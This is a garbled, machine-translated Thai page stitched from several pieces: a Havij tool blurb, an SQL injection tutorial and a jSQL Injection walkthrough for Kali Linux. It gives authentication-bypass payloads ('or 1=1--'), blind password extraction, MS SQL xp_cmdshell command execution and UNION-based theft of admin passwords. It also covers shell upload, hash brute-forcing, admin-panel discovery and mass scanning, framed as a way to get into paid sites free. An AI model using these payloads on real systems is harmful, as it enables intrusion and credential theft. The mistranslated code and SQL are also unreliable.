โปรแกรมสำหรับการฉีด sql คำแนะนำในการใช้ jSQL Injection ซึ่งเป็นเครื่องมือมัลติฟังก์ชั่นสำหรับการค้นหาและใช้ประโยชน์จากการแทรก SQL ใน Kali Linux การบังคับใช้แฮชแบบเดรัจฉานโดยใช้ jSQL Injection
Havij เป็นโปรแกรมที่ตรวจสอบช่องโหว่ของเว็บไซต์ ส่วนใหญ่มักจะไม่ได้ใช้เพื่อจุดประสงค์หลัก กล่าวคือ เพื่อฉีดการฉีด SQL เป็นเพราะเหตุนี้เครื่องมือนี้จึงมักถูกจัดว่าเป็นซอฟต์แวร์ "แฮ็ก"
หลักการทำงาน
เมื่อใช้แอปพลิเคชันนี้ คุณสามารถโจมตีบริการเว็บเพื่อเปลี่ยนนิพจน์ SQL ผ่านการต่อเชื่อมได้ หากสำเร็จ การแทรกจะช่วยให้คุณสามารถปรับเปลี่ยนตรรกะในการดำเนินการตามคำขอของผู้ใช้ให้เหมาะกับความต้องการของคุณได้ บ่อยครั้งในระหว่างการโจมตี จะมีการสร้างลายนิ้วมือของฐานข้อมูลอย่างง่าย หลังจากนั้นข้อมูลที่จำเป็นจะถูกนำเข้าจากฐานข้อมูลนั้น เช่น ฐานข้อมูลผู้ใช้หรือบัญชีผู้ดูแลระบบ หากมีช่องโหว่ ผู้โจมตีสามารถโต้ตอบกับส่วนแบ็คเอนด์ของเว็บแอปพลิเคชันได้ โดยเฉพาะอย่างยิ่ง การใช้งานดังกล่าวทำให้สามารถดำเนินการคำสั่งที่จำเป็นบนเซิร์ฟเวอร์หรือดูไฟล์ที่จำเป็นในฝั่งโฮสต์ได้
ความเป็นไปได้
Havij ช่วยให้คุณบันทึกแฮชรหัสผ่านและการถ่ายโอนข้อมูลตาราง โปรแกรมนี้ช่วยให้คุณสามารถดำเนินการประเภทต่างๆ ของการฉีด: การฉีด SQL ตามข้อผิดพลาด, การฉีด SQL ของแบบสอบถาม UNION, การฉีด SQL ของแบบสอบถามแบบซ้อน, การฉีด SQL แบบตาบอดตามเวลา และการฉีด SQL แบบตาบอดที่ใช้บูลีน เครื่องมือนี้ทำงานร่วมกับ HTTPS และรองรับ DBMS หลากหลายประเภท: MSAccess, MySQL, Oracle, PostgreSQ และแม้แต่ Sybase หากจำเป็น Havij สามารถทำงานในหลายๆ เธรดผ่านพร็อกซีได้
ไวยากรณ์ของโค้ดที่ฝังไว้สามารถแก้ไขได้ด้วยตนเอง นอกจากนี้ ก่อนที่จะเริ่มการโจมตี คุณได้รับอนุญาตให้เลือกรายการคำค้นหา คอลัมน์ในตาราง หรือประเภทข้อมูล (เช่น จำนวนเต็มหรือเศษส่วน)
ในระหว่างการดำเนินการ Havij จะเก็บบันทึกโดยละเอียดของการดำเนินการที่ดำเนินการ ซึ่งจะถูกจัดเก็บไว้ในโฟลเดอร์โปรแกรมหลังจากการโจมตีเสร็จสิ้น อินเทอร์เฟสของแอปพลิเคชั่นนั้นค่อนข้างใช้งานง่าย และการควบคุมหลัก ๆ ทั้งหมดก็รวมอยู่ในหน้าต่างเดียว
คุณสมบัติที่สำคัญ
- ดำเนินการฉีด SQL ด้วยไวยากรณ์ที่ต้องการ
- รองรับตัวเลือกการใช้งานที่แตกต่างกัน
- ค้นหาช่องโหว่ของเว็บไซต์และแอปพลิเคชัน
- ความสามารถในการทำงานกับ DBMS ประเภทต่างๆ
- รองรับ HTTPS และพร็อกซี
การฉีด SQLเป็นโอกาสที่ดีสำหรับแฮกเกอร์ที่จะได้รับ
เข้าถึงเซิร์ฟเวอร์ และด้วยความพยายามเพียงเล็กน้อยเขาก็
ยังเข้าใจอยู่ :)
โค้ดเดอร์ด้านใน
ปัจจุบันนี้รองรับการทำงานกับฐานข้อมูลแล้ว
ภาษาการเขียนโปรแกรมเกือบทั้งหมด ได้แก่ BASIC, C++, Java, PERL, PHP, Assembler และแม้แต่ JavaScript! และโปรแกรมเหล่านี้ไม่ได้เรียกว่าอะไรมากไปกว่า DBMS - ระบบจัดการฐานข้อมูล ฐานข้อมูลมักใช้เพื่อแก้ไขปัญหาทางการเงิน
การบัญชี องค์กรบุคลากร แต่ยังพบใบสมัครทางอินเทอร์เน็ตอีกด้วย
ฐานข้อมูลมักใช้ในการเขียนแอปพลิเคชันเว็บ การใช้งานมีความเหมาะสมที่สุดสำหรับการจัดเก็บข้อมูลการลงทะเบียนผู้ใช้ ตัวระบุเซสชัน การจัดระเบียบการค้นหา รวมถึงงานอื่น ๆ ที่ต้องใช้การประมวลผลมากขึ้น
จำนวนข้อมูล ในการเข้าถึงฐานข้อมูลจะใช้เทคโนโลยีเซิร์ฟเวอร์: PHP, PERL, ASP เป็นต้น นี่คือจุดเริ่มต้นของความสนุก เมื่ออยู่บนเซิร์ฟเวอร์
มีการติดตั้งแพตช์ทั้งหมดและไฟร์วอลล์จะบล็อกพอร์ตทั้งหมดยกเว้นพอร์ต 80 หรือเมื่อจำเป็นต้องมีการตรวจสอบสิทธิ์เพื่อเข้าถึงข้อมูลบางอย่าง แฮ็กเกอร์สามารถใช้ SQL Injection เพื่อแฮ็กได้ สาระสำคัญของการโจมตีครั้งนี้คือการหาประโยชน์จากข้อผิดพลาดที่จุดตัดของเทคโนโลยีเว็บและ SQL ความจริงก็คือหน้าเว็บจำนวนมากสำหรับการประมวลผลข้อมูลผู้ใช้ในรูปแบบพิเศษ SQLคำขอฐานข้อมูล การใช้เทคนิคนี้อย่างไม่ระมัดระวังสามารถนำไปสู่ผลลัพธ์ที่น่าสนใจทีเดียว...
การฉีด SQL
เพื่ออธิบายการโจมตี ลองจินตนาการว่าคุณไปที่ไซต์เพื่อดาวน์โหลดเครื่องมือที่สำคัญมากชิ้นหนึ่งและสังเกตเห็นด้วยความสยดสยองว่ามีเพียงผู้ใช้ที่ลงทะเบียนเท่านั้นที่สามารถทำได้ และแน่นอนว่าการลงทะเบียนจะต้องเสียเงิน :) คุณคงไม่อยากแจกของหรอก เงินที่คุณได้รับครั้งล่าสุด แต่คุณไม่สามารถทำได้หากไม่มีโปรแกรม! ถึงเวลาที่จะจำวิธีการ
เข้าถึงฐานข้อมูล SQL- ตัวอย่างเช่น การตรวจสอบข้อมูลเข้าสู่ระบบและรหัสผ่านของคุณใน PHP อาจมีลักษณะดังนี้:
$result=mysql_db_query($db,"SELECT * FROM $table WHERE user="$login" และ
ผ่าน = "$รหัสผ่าน"");
$num_rows=mysql_num_rows($ผลลัพธ์);
mysql_close($ลิงค์);
ถ้า ($num_rows!=0)
{
// การรับรองความถูกต้องตกลง
}
อื่น
{
// ข้อผิดพลาดในการรับรองความถูกต้อง
}
ฉันเพิ่มความคิดเห็นสองรายการ "การรับรองความถูกต้องตกลง" - แต่ฉันควรทำแทน
ไปที่รหัสที่จะดำเนินการหากรหัสผ่านและการเข้าสู่ระบบถูกต้อง "ข้อผิดพลาดในการตรวจสอบความถูกต้อง" อีกประการหนึ่งคือสถานที่ที่โค้ดที่จะถูกดำเนินการหากไม่ถูกต้องจะถูกอธิบาย หากคุณกรอกแบบฟอร์มคำขอจะมีลักษณะดังนี้ “http://www.server.com?login=user&password=31337” โดยที่ www.server.com เป็นชื่อ
เซิร์ฟเวอร์ที่เราพยายามเชื่อมต่อ เราพบสิ่งที่เรากำลังมองหาแล้วจึงกลับมาทำงานอีกครั้ง SQL- ดังนั้นหากคุณต้องระบุการเข้าสู่ระบบและรหัสผ่านสำหรับการอนุญาตระบบจะสร้างขึ้น SQLคำขอจะมีลักษณะดังนี้:
เลือก * จากผู้ใช้ WHERE เข้าสู่ระบบ = "ผู้ใช้" และ
รหัสผ่าน = "31337"
ซึ่งหมายความว่า: กลับมาหาฉันบันทึกทั้งหมดจากฐานข้อมูลผู้ใช้ที่มีการเข้าสู่ระบบเป็น "ผู้ใช้" และรหัสผ่านคือ "31337" หากมีบันทึกดังกล่าว แสดงว่าผู้ใช้ลงทะเบียนแล้ว แต่ถ้าไม่มีก็ไม่ใช่... แต่ภายใต้สถานการณ์บางอย่าง ทุกอย่างสามารถแก้ไขได้ นี่หมายถึงสถานการณ์ที่แอปพลิเคชันไม่ตรวจสอบเนื้อหาของข้อมูลที่ส่งหรือไม่ตรวจสอบการมีอยู่อย่างสมบูรณ์ SQLคำแนะนำ. ในตัวอย่างนี้ จะมีการตรวจสอบสองฟิลด์ล็อกอินและรหัสผ่าน แต่ถ้าคุณระบุ "31337" และ email=" เป็นรหัสผ่าน [ป้องกันอีเมล]"(โดยไม่มีเครื่องหมายคำพูดคู่) จากนั้นข้อความค้นหาจะแตกต่างออกไปเล็กน้อย:
เลือก * จากผู้ใช้ WHERE เข้าสู่ระบบ = "ผู้ใช้" และรหัสผ่าน = "31337" และ
อีเมล์=" [ป้องกันอีเมล]"
และหากมีช่องอีเมลอยู่ ระบบจะตรวจสอบเงื่อนไขนี้ด้วย หากคุณจำพื้นฐานของพีชคณิตแบบบูลีนได้ อยู่ในใจของคุณว่านอกเหนือจากการดำเนินการ "และ" แล้ว ยังมี "หรือ" ด้วย และเนื่องจาก SQL รองรับการใช้งานเหล่านี้ คุณจึงสามารถ
ตามที่อธิบายไว้ ให้เพิ่มเงื่อนไขที่คืนค่าเป็นจริงเสมอ ในการดำเนินการนี้ คุณต้องระบุ "ผู้ใช้" หรือ 1=1-- เป็นการเข้าสู่ระบบ ซึ่งในกรณีนี้คำขอจะอยู่ในรูปแบบ:
เลือก * จากผู้ใช้ WHERE เข้าสู่ระบบ = "ผู้ใช้" หรือ 1=1--" และ
รหัสผ่าน = "31337"
ก่อนอื่น คุณควรรู้ว่า "--" หมายถึงการสิ้นสุดคำขอ และทุกอย่างที่อยู่หลัง "--"
จะไม่ถูกประมวลผล! ปรากฎว่าเราได้ทำการร้องขอ:
เลือก * จากผู้ใช้ WHERE เข้าสู่ระบบ = "ผู้ใช้" หรือ 1=1
อย่างที่คุณเห็น เราได้เพิ่มเงื่อนไข “1=1” ซึ่งหมายความว่าเกณฑ์การตรวจสอบจะเป็น “ถ้าการเข้าสู่ระบบคือ “ผู้ใช้” หรือ 1=1” แต่ 1 จะเท่ากับ 1 เสมอ (ข้อยกเว้นเดียวอาจเป็นเลขคณิตของ Dani Shepovalov :)) เพื่อตรวจสอบความสงสัยของเรา
ป้อน "http://www.server.com?login=user or 1=1--&password=31337" ในแถบที่อยู่ สิ่งนี้นำไปสู่ความจริงที่ว่ามันไม่สำคัญว่าเราจะระบุการเข้าสู่ระบบใด แต่
โดยเฉพาะรหัสผ่าน! และเราอยู่ในเมทริกซ์ ในระบบ และสามารถดาวน์โหลดสิ่งที่เราต้องการได้อย่างใจเย็น
แต่ทั้งหมดนี้เป็นเพียงทฤษฎีเท่านั้น ในทางปฏิบัติ เราไม่ทราบว่าคำขอเกิดขึ้นได้อย่างไร ข้อมูลใดที่ถูกส่ง และในลำดับใด ดังนั้น คุณต้องระบุ "ผู้ใช้" หรือ 1=1--" สำหรับทุกฟิลด์ นอกจากนี้ คุณควรตรวจสอบแบบฟอร์มการส่งสำหรับฟิลด์ที่ซ่อนอยู่ ใน HTML จะมีการอธิบายว่า " " หากมีอยู่ ให้บันทึกเพจและเปลี่ยนค่าของฟิลด์เหล่านี้ ค่าที่มีอยู่ในนั้นมักจะลืมที่จะตรวจสอบว่ามีคำสั่ง SQL อยู่หรือไม่ แต่เพื่อให้ทุกอย่างใช้งานได้คุณควรระบุให้ครบถ้วน เส้นทางไปยังสคริปต์ในรูปแบบ (แท็ก "FORM") สำหรับพารามิเตอร์ "ACTION" ซึ่งประมวลผลคำขอนี้
แต่ไม่ทราบเสมอไปว่าคำขอนั้นเกิดขึ้นได้อย่างไร
ตัวอย่างก่อนหน้านี้สามารถสร้างขึ้นได้ด้วยวิธีต่อไปนี้:
เลือก * จากผู้ใช้ WHERE (เข้าสู่ระบบ = "ผู้ใช้" และรหัสผ่าน = "31337")
เลือก * จากผู้ใช้ WHERE เข้าสู่ระบบ = "ผู้ใช้" และรหัสผ่าน = "31337"
เลือก * จากผู้ใช้ โดยที่ เข้าสู่ระบบ=ผู้ใช้ และรหัสผ่าน=31337
ในกรณีนี้ คุณสามารถลองใช้ตัวเลือกต่อไปนี้:
"หรือ 1=1--
"หรือ 1=1--
หรือ 1=1--
" หรือ "ก"="ก
" หรือ "ก"="ก
") หรือ ("a"="a
หรือ "1"="1"
ทุกอย่างขึ้นอยู่กับวัตถุประสงค์ของสคริปต์และโปรแกรมเมอร์ เนื่องจากแต่ละคนมีแนวโน้มที่จะทำทุกอย่างในแบบของตัวเองจึงเป็นไปได้มากที่โปรแกรมเมอร์จะไม่เลือกตัวเลือกที่ง่ายที่สุด ดังนั้นคุณไม่ควรทันที
ยอมแพ้ถ้าคุณถูกปฏิเสธ จำเป็น
ลองตัวเลือกให้มากที่สุด...
การตรวจจับรหัสผ่าน
การข้ามการอนุญาตนั้นไม่ได้แย่ แต่บ่อยครั้งที่รูที่คุณใช้อยู่ถูกปิด และทุกสิ่งที่คุณสามารถใช้ได้ก็จะหายไป
สิ่งนี้เป็นสิ่งที่คาดหวังได้หากโปรแกรมเมอร์ไม่ใช่คนโง่
เมื่อเวลาผ่านไป มันจะปิดช่องโหว่ทั้งหมด คุณสามารถกำจัดสถานการณ์ดังกล่าวได้อย่างง่ายดายโดยการดูแลล่วงหน้า วิธีแก้ไขที่ถูกต้องอาจเป็นการเดารหัสผ่านโดยใช้
การวิเคราะห์ผลการรับรองความถูกต้อง ก่อนอื่นเรามาลองเดารหัสผ่านโดยป้อนตำแหน่งของมัน:
"หรือรหัสผ่าน>"ก
หากเราได้รับแจ้งว่าผ่านการอนุญาตแล้วให้ระบุรหัสผ่าน
ไม่ได้ขึ้นต้นด้วยตัวอักษร "a" แต่มีอย่างใดอย่างหนึ่งต่อไปนี้ในรายการ ก้าวต่อไปและทดแทน
วาง "a" ถัดไป "b", "c", "d", "e"... ฯลฯ จนกว่าเขาจะแจ้งเราว่ารหัสผ่านไม่ถูกต้อง ปล่อยให้กระบวนการนี้หยุดที่อักขระ "x" ในกรณีนี้ มีสองตัวเลือกสำหรับการพัฒนาสถานการณ์: พบรหัสผ่านหรือรหัสผ่านเริ่มต้นด้วยอักขระนี้ หากต้องการตรวจสอบตัวเลือกแรก ให้เขียนตำแหน่งรหัสผ่าน:
"หรือรหัสผ่าน = "x
และถ้ารหัสผ่านได้รับการยอมรับและคุณได้รับอนุญาตให้เข้าไป คุณก็เดารหัสผ่านได้! ไม่ คุณควรเลือกตัวอักษรตัวที่สอง
เหมือนกันทุกประการตั้งแต่ต้น ตรวจสอบอักขระสองตัว
ต้องการเหมือนกัน ในที่สุดคุณจะได้รับรหัสผ่านและคุณจะค้นหาข้อมูลเข้าสู่ระบบในลักษณะเดียวกัน :)
หากรหัสผ่านและการเข้าสู่ระบบที่พบไม่เหมาะกับคุณ คุณสามารถค้นหาผู้อื่นได้ ในการดำเนินการนี้ คุณต้องเริ่มตรวจสอบจากอักขระตัวสุดท้ายของรหัสผ่านที่พบ ดังนั้นหากรหัสผ่านคือ "xxx" จำเป็นต้องตรวจสอบการมีอยู่ของรหัสผ่าน
"xxxy":
"หรือรหัสผ่าน = "xxx
เพื่อไม่ให้พลาดมากกว่าหนึ่งตัวเลือก!
เอ็มเอส SQL เซิร์ฟเวอร์
โดยทั่วไปแล้ว MS SQL Server จะมาจากสวรรค์หากพลาดการกรองที่จำเป็น การใช้ช่องโหว่ SQL Injection คุณสามารถดำเนินการได้
คำสั่งบนเซิร์ฟเวอร์ระยะไกลโดยใช้ exec master..xp_cmdshell แต่การใช้ดีไซน์นี้
การดำเนินการ SELECT จะต้องเสร็จสิ้น ใน SQL คำสั่งจะถูกคั่นด้วยเครื่องหมายอัฒภาค ดังนั้น หากต้องการเชื่อมต่อ IP บางตัวผ่าน Telnet คุณต้องพิมพ์รหัสผ่าน/ล็อกอิน:
"; exec master..xp_cmdshell "telnet 192.168.0.1" --
MS SQL Server มีคุณสมบัติที่น่าสนใจหลายประการที่ช่วยให้คุณสามารถค้นหาข้อมูลเข้าสู่ระบบและรหัสผ่านที่เก็บไว้ในฐานข้อมูลได้ ในการดำเนินการนี้ เอาต์พุตข้อผิดพลาดจะถูกเปลี่ยนเส้นทางไปยังเซิร์ฟเวอร์ที่กำหนดเองและผ่านทางเซิร์ฟเวอร์เหล่านั้น
การวิเคราะห์ คุณสามารถค้นหาชื่อของตาราง ฟิลด์ และประเภทได้ หลังจากนั้นคุณสามารถขอได้
" การเข้าสู่ระบบ UNION SELECT TOP 1 จากผู้ใช้--
(เข้าสู่ระบบคือชื่อของฟิลด์ที่มีการเข้าสู่ระบบและผู้ใช้คือชื่อของตาราง
กึ่งนักวิทยาศาสตร์ในกระบวนการวิเคราะห์ข้อผิดพลาด)
คำตอบอาจเป็น:
ข้อผิดพลาดทางไวยากรณ์ในการแปลงค่า nvarchar "admin" to a column of data type int. !}
/default.asp บรรทัด 27
ตอนนี้เรารู้แล้วว่ามีผู้ใช้ชื่อ "ผู้ดูแลระบบ" ตอนนี้เราสามารถรับรหัสผ่านของเขาได้แล้ว:
" UNION SELECT รหัสผ่าน TOP 1 จากผู้ใช้โดยที่ login="admin"--
ผลลัพธ์:
ผู้ให้บริการ Microsoft OLE DB สำหรับข้อผิดพลาดของไดรเวอร์ ODBC "80040e07"
ข้อผิดพลาดทางไวยากรณ์ในการแปลงค่า nvarchar "xxx" to a column of data type int. !}
/tedault.asp บรรทัดที่ 27
ตอนนี้เรารู้แล้วว่ามีผู้ใช้ "ผู้ดูแลระบบ" พร้อมรหัสผ่าน "xxx" ด้วยวิธีนี้คุณสามารถทำได้อย่างปลอดภัย
ใช้แล้วล็อกอินเข้าระบบ😉
แต่มีฟังก์ชั่นอื่น ๆ อีกมากมายสำหรับการทำงานกับ SQL
เมื่อทำงานกับฐานข้อมูล คุณยังสามารถลบข้อมูล แก้ไข แทรกข้อมูลของคุณเอง หรือแม้แต่จัดการไฟล์และทำงานกับรีจิสทรีได้
โดยทั่วไปกฎของ SQL Server :)
การป้องกัน
แต่แน่นอนว่าทั้งหมดนี้สามารถหลีกเลี่ยงได้ การทำเช่นนี้คุณสามารถทำได้
ใช้ตัวกรอง
จัดทำโดยผู้ผลิต คุณสามารถค้นหาวิธีแก้ปัญหาของคุณเองได้ เช่น แทนที่ทั้งหมด
เครื่องหมายคำพูดคู่ (ถ้าสำหรับ SQLขอให้เราใช้อันเดียว) หรือในทางกลับกัน คุณสามารถอนุญาตให้ใช้ตัวอักษรและ s@baki ได้เท่านั้น หากคุณต้องการป้อน
ที่อยู่อีเมล. และในไข่มุกก็มีความอัศจรรย์มาก
ฟังก์ชัน 🙂 quote() ในโมดูล DBI::DBD ซึ่งทำให้การสืบค้นของคุณปลอดภัยได้สำเร็จ SQL- มีวิธีแก้ไขปัญหามากมาย คุณแค่ต้องการมัน
ใช้ประโยชน์จาก. ไม่อย่างนั้นทำไมเรื่องทั้งหมดนี้...
เรียกใช้ไฟล์ที่ดาวน์โหลดโดยดับเบิลคลิก (คุณต้องมีเครื่องเสมือน)
3. การไม่เปิดเผยตัวตนเมื่อตรวจสอบไซต์สำหรับการฉีด SQL
การตั้งค่า Tor และ Privoxy ใน Kali Linux
[ส่วนที่อยู่ระหว่างการพัฒนา]
การตั้งค่า Tor และ Privoxy บน Windows
[ส่วนที่อยู่ระหว่างการพัฒนา]
การตั้งค่าพร็อกซีใน jSQL Injection
[ส่วนที่อยู่ระหว่างการพัฒนา]
4. การตรวจสอบไซต์สำหรับการฉีด SQL ด้วยการฉีด jSQL
การทำงานกับโปรแกรมนั้นง่ายมาก เพียงป้อนที่อยู่เว็บไซต์แล้วกด ENTER
ภาพหน้าจอต่อไปนี้แสดงให้เห็นว่าไซต์เสี่ยงต่อการถูกแทรก SQL สามประเภท (ข้อมูลเกี่ยวกับสิ่งเหล่านั้นจะแสดงอยู่ที่มุมขวาล่าง) เมื่อคลิกที่ชื่อการฉีด คุณสามารถเปลี่ยนวิธีการที่ใช้ได้:
นอกจากนี้ฐานข้อมูลที่มีอยู่ก็ได้ถูกแสดงให้เราเห็นแล้ว
คุณสามารถดูเนื้อหาของแต่ละตารางได้:
โดยทั่วไปแล้ว สิ่งที่น่าสนใจที่สุดเกี่ยวกับตารางคือข้อมูลประจำตัวของผู้ดูแลระบบ
หากคุณโชคดีและพบข้อมูลของผู้ดูแลระบบแสดงว่ายังเร็วเกินไปที่จะดีใจ คุณยังคงต้องค้นหาแผงผู้ดูแลระบบที่จะป้อนข้อมูลนี้
5. ค้นหาแผงผู้ดูแลระบบด้วย jSQL Injection
โดยไปที่แท็บถัดไป ที่นี่เราได้รับการต้อนรับด้วยรายการที่อยู่ที่เป็นไปได้ คุณสามารถเลือกหนึ่งหน้าขึ้นไปเพื่อตรวจสอบ:
ความสะดวกสบายอยู่ที่คุณไม่จำเป็นต้องใช้โปรแกรมอื่น
น่าเสียดายที่มีโปรแกรมเมอร์ที่ไม่ระมัดระวังจำนวนไม่มากที่เก็บรหัสผ่านเป็นข้อความที่ชัดเจน บ่อยครั้งในบรรทัดรหัสผ่านที่เราเห็นบางอย่างเช่นนี้
8743b52063cd84097a65d1633f5c74f5
นี่คือแฮช คุณสามารถถอดรหัสได้โดยใช้กำลังดุร้าย และ... jSQL Injection มี bruteforce ในตัว
6. แฮชแบบ Brute Force โดยใช้ jSQL Injection
ความสะดวกสบายที่ไม่ต้องสงสัยคือคุณไม่จำเป็นต้องค้นหาโปรแกรมอื่น มีการรองรับแฮชยอดนิยมมากมาย
นี่ไม่ใช่ตัวเลือกที่ดีที่สุด เพื่อที่จะเป็นกูรูในการถอดรหัสแฮช แนะนำให้ใช้หนังสือ "" ในภาษารัสเซีย
แต่แน่นอนว่า เมื่อไม่มีโปรแกรมอื่นในมือหรือไม่มีเวลาศึกษา jSQL Injection ที่มีฟังก์ชัน bruteforce ในตัวจะมีประโยชน์มาก
มีการตั้งค่า: คุณสามารถตั้งค่าอักขระที่จะรวมอยู่ในรหัสผ่าน ช่วงความยาวของรหัสผ่าน
7. การทำงานของไฟล์หลังจากตรวจพบการฉีด SQL
นอกเหนือจากการดำเนินการกับฐานข้อมูล - การอ่านและแก้ไขหากตรวจพบการฉีด SQL ก็สามารถดำเนินการไฟล์ต่อไปนี้ได้:
- อ่านไฟล์บนเซิร์ฟเวอร์
- การอัปโหลดไฟล์ใหม่ไปยังเซิร์ฟเวอร์
- การอัพโหลดเชลล์ไปยังเซิร์ฟเวอร์
และทั้งหมดนี้ถูกนำมาใช้ใน jSQL Injection!
มีข้อจำกัด - เซิร์ฟเวอร์ SQL ต้องมีสิทธิ์การใช้งานไฟล์ ผู้ดูแลระบบอัจฉริยะปิดใช้งานสิ่งเหล่านี้และจะไม่สามารถเข้าถึงระบบไฟล์ได้
การมีอยู่ของสิทธิ์ของไฟล์นั้นค่อนข้างง่ายในการตรวจสอบ ไปที่แท็บใดแท็บหนึ่ง (อ่านไฟล์ สร้างเชลล์ อัปโหลดไฟล์ใหม่) และลองดำเนินการอย่างใดอย่างหนึ่งตามที่ระบุ
หมายเหตุที่สำคัญอีกประการหนึ่ง - เราจำเป็นต้องทราบเส้นทางที่แน่นอนไปยังไฟล์ที่เราจะใช้ - มิฉะนั้นจะไม่มีอะไรทำงาน
ดูภาพหน้าจอต่อไปนี้:
หากพยายามดำเนินการกับไฟล์ใดๆ เราจะได้รับคำตอบต่อไปนี้: ไม่มีสิทธิพิเศษ FILE(ไม่มีสิทธิ์เข้าถึงไฟล์) และไม่มีอะไรสามารถทำได้ที่นี่
หากคุณมีข้อผิดพลาดอื่นแทน:
ปัญหาในการเขียนลงใน [directory_name]
ซึ่งหมายความว่าคุณระบุเส้นทางที่แน่นอนที่คุณต้องการเขียนไฟล์ไม่ถูกต้อง
ในการคาดเดาเส้นทางที่แน่นอน อย่างน้อยคุณต้องทราบระบบปฏิบัติการที่เซิร์ฟเวอร์กำลังทำงานอยู่ เมื่อต้องการทำเช่นนี้ สลับไปที่แท็บเครือข่าย
บันทึกดังกล่าว (บรรทัด Win64) ให้เหตุผลแก่เราในการสันนิษฐานว่าเรากำลังจัดการกับ Windows OS:
Keep-Alive: หมดเวลา = 5, สูงสุด = 99 เซิร์ฟเวอร์: Apache/2.4.17 (Win64) การเชื่อมต่อ PHP/7.0.0RC6: วิธี Keep-Alive: HTTP/1.1 200 ตกลง ความยาวเนื้อหา: 353 วันที่: ศุกร์, 11 ธันวาคม 2558 11:48:31 GMT X-ขับเคลื่อนโดย: PHP/7.0.0RC6 ประเภทเนื้อหา: ข้อความ/html; ชุดอักขระ=UTF-8
ที่นี่เรามี Unix (*BSD, Linux):
การเข้ารหัสการถ่ายโอน: chunked วันที่: ศุกร์, 11 ธันวาคม 2558 11:57:02 GMT วิธีการ: HTTP/1.1 200 ตกลง Keep-Alive: หมดเวลา = 3, สูงสุด = 100 การเชื่อมต่อ: Keep-alive ประเภทเนื้อหา: ข้อความ/html X- ขับเคลื่อนโดย: PHP/5.3.29 เซิร์ฟเวอร์: Apache/2.2.31 (Unix)
และที่นี่เรามี CentOS:
วิธีการ: HTTP/1.1 200 ตกลง หมดอายุ: พฤหัสบดี 19 พ.ย. 2524 08:52:00 GMT ชุดคุกกี้: PHPSESSID=9p60gtunrv7g41iurr814h9rd0; เส้นทาง = / การเชื่อมต่อ: Keep-alive X-Cache-Lookup: MISS จาก t1.hoster.ru:6666 เซิร์ฟเวอร์: Apache/2.2.15 (CentOS) X-Powered-By: PHP/5.4.37 X-Cache: MISS จาก t1.hoster.ru Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache วันที่: ศุกร์ 11 ธันวาคม 2558 12:08:54 GMT การเข้ารหัสการโอน: ประเภทเนื้อหาเป็นชิ้น: text/html; ชุดอักขระ=WINDOWS-1251
บน Windows โฟลเดอร์ทั่วไปสำหรับไซต์คือ C:\เซิร์ฟเวอร์\ข้อมูล\htdocs\- แต่ในความเป็นจริงแล้ว หากมีใคร "คิด" ที่จะสร้างเซิร์ฟเวอร์บน Windows เป็นไปได้มากที่บุคคลนี้จะไม่ได้ยินอะไรเกี่ยวกับสิทธิพิเศษเลย ดังนั้น คุณควรเริ่มลองโดยตรงจากไดเร็กทอรี C:/Windows/:
อย่างที่คุณเห็นทุกอย่างเป็นไปด้วยดีในครั้งแรก
แต่เชลล์การฉีด jSQL เองก็ทำให้เกิดความสงสัยในใจของฉัน หากคุณมีสิทธิ์ในไฟล์ คุณสามารถอัปโหลดบางสิ่งได้อย่างง่ายดายด้วยเว็บอินเตอร์เฟส
8. การตรวจสอบไซต์จำนวนมากสำหรับการแทรก SQL
และแม้แต่ฟังก์ชั่นนี้ก็ยังมีอยู่ใน jSQL Injection ทุกอย่างง่ายมาก - ดาวน์โหลดรายการไซต์ (คุณสามารถนำเข้าจากไฟล์) เลือกไซต์ที่คุณต้องการตรวจสอบแล้วคลิกปุ่มที่เหมาะสมเพื่อเริ่มการดำเนินการ
สรุปจาก jSQL Injection
jSQL Injection เป็นเครื่องมือที่ดีและทรงพลังสำหรับการค้นหาแล้วใช้การแทรก SQL ที่พบในเว็บไซต์ ข้อดีที่ไม่ต้องสงสัย: ใช้งานง่าย, ฟังก์ชั่นที่เกี่ยวข้องในตัว jSQL Injection สามารถเป็นเพื่อนที่ดีที่สุดของผู้เริ่มต้นเมื่อวิเคราะห์เว็บไซต์
ในบรรดาข้อบกพร่อง ฉันจะสังเกตความเป็นไปไม่ได้ในการแก้ไขฐานข้อมูล (อย่างน้อยฉันก็ไม่พบฟังก์ชันนี้) เช่นเดียวกับเครื่องมือ GUI ทั้งหมด ข้อเสียประการหนึ่งของโปรแกรมนี้อาจเกิดจากการไม่สามารถใช้ในสคริปต์ได้ อย่างไรก็ตาม โปรแกรมนี้สามารถใช้ระบบอัตโนมัติบางอย่างได้ด้วย - ด้วยฟังก์ชันการตรวจสอบไซต์จำนวนมากในตัว
โปรแกรม jSQL Injection ใช้งานได้สะดวกกว่า sqlmap มาก แต่ sqlmap รองรับการแทรก SQL ประเภทมากกว่า มีตัวเลือกสำหรับการทำงานกับไฟร์วอลล์ไฟล์และฟังก์ชันอื่นๆ บางอย่าง
สรุป: jSQL Injection เป็นเพื่อนที่ดีที่สุดของแฮ็กเกอร์มือใหม่
ความช่วยเหลือสำหรับโปรแกรมนี้ในสารานุกรม Kali Linux สามารถพบได้ในหน้านี้: http://kali.tools/?p=706
SQL Injection สำหรับหุ่นจำลอง, แฮ็ก ASP + MSSQL
อเล็กซานเดอร์ อันติปอฟ
บทความนี้ไม่มีความจริงใหม่ มีการอธิบายและใช้ SQL อย่างกว้างขวางทุกที่ บทความนี้มีไว้สำหรับผู้เริ่มต้นมากกว่า แต่บางทีผู้เชี่ยวชาญอาจจะพบเคล็ดลับใหม่หนึ่งหรือสองอย่าง
บทความนี้มีจุดมุ่งหมายเพื่อช่วยให้มือใหม่จัดการกับปัญหาที่อาจพบเมื่อใช้เทคนิค SQL Injection ใช้งานได้สำเร็จ และสามารถป้องกันตนเองจากการโจมตีดังกล่าวได้
การแนะนำ
